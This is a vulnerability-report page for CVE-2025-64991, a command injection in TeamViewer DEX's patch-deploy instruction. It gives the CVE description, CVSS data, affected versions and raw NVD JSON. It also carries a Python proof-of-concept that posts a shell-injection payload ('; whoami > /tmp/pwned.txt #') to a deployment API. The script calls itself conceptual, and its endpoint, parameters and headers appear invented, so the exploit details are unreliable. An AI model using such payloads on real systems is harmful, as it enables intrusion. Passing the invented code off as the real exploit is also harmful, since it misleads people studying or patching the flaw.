Security Vulnerability Report
中文
CVE-2025-64991 CVSS 6.8 MEDIUM

CVE-2025-64991

Published: 2025-12-11 12:16:26
Last Modified: 2026-01-09 02:09:05

Description

A command injection vulnerability was discovered in TeamViewer DEX (former 1E DEX), specifically within the 1E-PatchInsights-Deploy instruction prior V15. Improper input validation, allowing authenticated attackers with Actioner privileges to inject arbitrary commands. Exploitation enables remote execution of elevated commands on devices connected to the platform.

CVSS Details

CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:teamviewer:digital_employee_experience:*:*:*:*:*:*:*:* - VULNERABLE
1E-PatchInsights-Deploy < V15
TeamViewer DEX (1E DEX) 所有15版本之前的版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-64991 PoC - TeamViewer DEX Command Injection # Affected: 1E-PatchInsights-Deploy < V15 # Note: This is a conceptual PoC for educational purposes only import requests import json TARGET_URL = "https://target-teamviewer-dex.local/api/v1/patch/deploy" AUTH_TOKEN = "your_auth_token_here" def exploit_cve_2025_64991(): """ Exploit for CVE-2025-64991: Command injection in 1E-PatchInsights-Deploy The vulnerability allows authenticated attackers with Actioner privileges to inject arbitrary commands through improper input validation. """ # Malicious payload targeting the vulnerable parameter # Injecting command via the patch deployment instruction malicious_payload = { "instruction_id": "deploy_patch", "target_device": "WORKSTATION-001", "patch_name": "KB1234567", "command": "; whoami > /tmp/pwned.txt #", # Command injection point "execution_options": { "timeout": 30, "retry_count": 0 } } headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json", "X-Actioner-Role": "true" } try: response = requests.post( TARGET_URL, json=malicious_payload, headers=headers, verify=False, timeout=10 ) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code == 200: print("[+] Payload sent successfully!") print("[+] Check /tmp/pwned.txt on target device") else: print("[-] Exploitation failed") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("CVE-2025-64991 PoC - TeamViewer DEX Command Injection") print("=" * 60) exploit_cve_2025_64991()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64991", "sourceIdentifier": "[email protected]", "published": "2025-12-11T12:16:26.063", "lastModified": "2026-01-09T02:09:04.810", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A command injection vulnerability was discovered in TeamViewer DEX (former 1E DEX), specifically within the 1E-PatchInsights-Deploy instruction prior V15. Improper input validation, allowing authenticated attackers with Actioner privileges to inject arbitrary commands. Exploitation enables remote execution of elevated commands on devices connected to the platform."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.9, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:teamviewer:digital_employee_experience:*:*:*:*:*:*:*:*", "versionEndExcluding": "15.0", "matchCriteriaId": "25F901BE-3CD2-4D8F-A58B-E3EFCEBB5E5B"}]}]}], "references": [{"url": "https://www.teamviewer.com/en/resources/trust-center/security-bulletins/tv-2025-1006/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}